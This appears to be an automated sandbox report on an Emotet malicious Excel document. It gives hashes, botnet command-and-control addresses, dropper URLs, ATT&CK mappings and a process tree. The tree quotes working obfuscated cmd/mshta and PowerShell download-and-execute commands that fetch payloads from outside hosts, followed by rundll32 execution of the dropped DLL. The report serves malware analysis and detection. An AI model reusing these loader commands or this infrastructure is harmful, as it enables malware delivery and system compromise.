emotet | 6c993bfdab714689f5b5924440eb9d1289f73941b3784a6b1fe4798ef65ce200

General

Target

6c993bfdab714689f5b5924440eb9d1289f73941b3784a6b1fe4798ef65ce200.xls
Size

142KB
MD5

5edd92cb2674c2451f0e765f1db01e7d
SHA1

74f5ca9155b295b0e9db3645e189ba7223d919ed
SHA256

6c993bfdab714689f5b5924440eb9d1289f73941b3784a6b1fe4798ef65ce200
SHA512

16894e09ea4c4afd6bd9c2e0e4f35ec797282279564ee045efc5a6e28c0f3b0379c7c6873a14e3c67974c35668eaeedf28e656722ccf85ca2f92da8d091b30d9

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fer.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2176	2508	cmd.exe	67

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 6 IoCs

flow	pid	Process
29	3036	mshta.exe
37	776	powershell.exe
39	776	powershell.exe
43	776	powershell.exe
44	3800	rundll32.exe
45	3800	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
2408	rundll32.exe
1304	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Jhxowdq\wjuxrhzrzmxs.fdv	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3200	3036	WerFault.exe	74

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2508	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
776	powershell.exe
776	powershell.exe
776	powershell.exe
3800	rundll32.exe
3800	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3200	WerFault.exe
Token: SeDebugPrivilege	776	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2508	EXCEL.EXE
2508	EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2508	EXCEL.EXE
2508	EXCEL.EXE
2508	EXCEL.EXE
2508	EXCEL.EXE
2508	EXCEL.EXE
2508	EXCEL.EXE
2508	EXCEL.EXE
2508	EXCEL.EXE
2508	EXCEL.EXE
2508	EXCEL.EXE
2508	EXCEL.EXE
2508	EXCEL.EXE
2508	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 2508 wrote to memory of 2096	2508	EXCEL.EXE	70
PID 2508 wrote to memory of 2096	2508	EXCEL.EXE	70
PID 2508 wrote to memory of 2176	2508	EXCEL.EXE	72
PID 2508 wrote to memory of 2176	2508	EXCEL.EXE	72
PID 2176 wrote to memory of 3036	2176	cmd.exe	74
PID 2176 wrote to memory of 3036	2176	cmd.exe	74
PID 3036 wrote to memory of 776	3036	mshta.exe	76
PID 3036 wrote to memory of 776	3036	mshta.exe	76
PID 776 wrote to memory of 2088	776	powershell.exe	79
PID 776 wrote to memory of 2088	776	powershell.exe	79
PID 2088 wrote to memory of 2408	2088	cmd.exe	80
PID 2088 wrote to memory of 2408	2088	cmd.exe	80
PID 2088 wrote to memory of 2408	2088	cmd.exe	80
PID 2408 wrote to memory of 1304	2408	rundll32.exe	81
PID 2408 wrote to memory of 1304	2408	rundll32.exe	81
PID 2408 wrote to memory of 1304	2408	rundll32.exe	81
PID 1304 wrote to memory of 3600	1304	rundll32.exe	82
PID 1304 wrote to memory of 3600	1304	rundll32.exe	82
PID 1304 wrote to memory of 3600	1304	rundll32.exe	82
PID 3600 wrote to memory of 3800	3600	rundll32.exe	83
PID 3600 wrote to memory of 3800	3600	rundll32.exe	83
PID 3600 wrote to memory of 3800	3600	rundll32.exe	83

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6c993bfdab714689f5b5924440eb9d1289f73941b3784a6b1fe4798ef65ce200.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2508
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2096
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2176
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:3036
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:776
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2088
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2408
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1304
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Jhxowdq\wjuxrhzrzmxs.fdv",pGpmROYsqTLp
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:3600
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Jhxowdq\wjuxrhzrzmxs.fdv",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:3800
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3036 -s 1736
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3200

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/776-519-0x000002306B780000-0x000002306B7F6000-memory.dmp

Filesize
472KB

Download
memory/776-487-0x000002306B0B0000-0x000002306B0D2000-memory.dmp

Filesize
136KB

Download
memory/776-508-0x000002306B350000-0x000002306B38C000-memory.dmp

Filesize
240KB

Download
memory/776-542-0x0000023052F40000-0x000002306B100000-memory.dmp

Filesize
385.8MB

Download
memory/776-532-0x0000023052F40000-0x000002306B100000-memory.dmp

Filesize
385.8MB

Download
memory/776-539-0x0000023052F40000-0x000002306B100000-memory.dmp

Filesize
385.8MB

Download
memory/1304-554-0x0000000004CB0000-0x0000000004CD6000-memory.dmp

Filesize
152KB

Download
memory/1304-552-0x0000000004AC0000-0x0000000004AE6000-memory.dmp

Filesize
152KB

Download
memory/1304-556-0x0000000004E30000-0x0000000004E56000-memory.dmp

Filesize
152KB

Download
memory/1304-558-0x0000000004E90000-0x0000000004EB6000-memory.dmp

Filesize
152KB

Download
memory/1304-562-0x0000000004FF0000-0x0000000005016000-memory.dmp

Filesize
152KB

Download
memory/2408-544-0x00000000032C0000-0x00000000032E6000-memory.dmp

Filesize
152KB

Download
memory/2508-600-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmp

Filesize
64KB

Download
memory/2508-132-0x00007FF9E4750000-0x00007FF9E4760000-memory.dmp

Filesize
64KB

Download
memory/2508-131-0x00007FF9E4750000-0x00007FF9E4760000-memory.dmp

Filesize
64KB

Download
memory/2508-124-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmp

Filesize
64KB

Download
memory/2508-121-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmp

Filesize
64KB

Download
memory/2508-120-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmp

Filesize
64KB

Download
memory/2508-118-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmp

Filesize
64KB

Download
memory/2508-119-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmp

Filesize
64KB

Download
memory/2508-602-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmp

Filesize
64KB

Download
memory/2508-601-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmp

Filesize
64KB

Download
memory/2508-599-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmp

Filesize
64KB

Download
memory/3600-560-0x00000000007A0000-0x00000000007C6000-memory.dmp

Filesize
152KB

Download
memory/3800-571-0x0000000001030000-0x0000000001056000-memory.dmp

Filesize
152KB

Download
memory/3800-567-0x0000000000EE0000-0x0000000000F06000-memory.dmp

Filesize
152KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads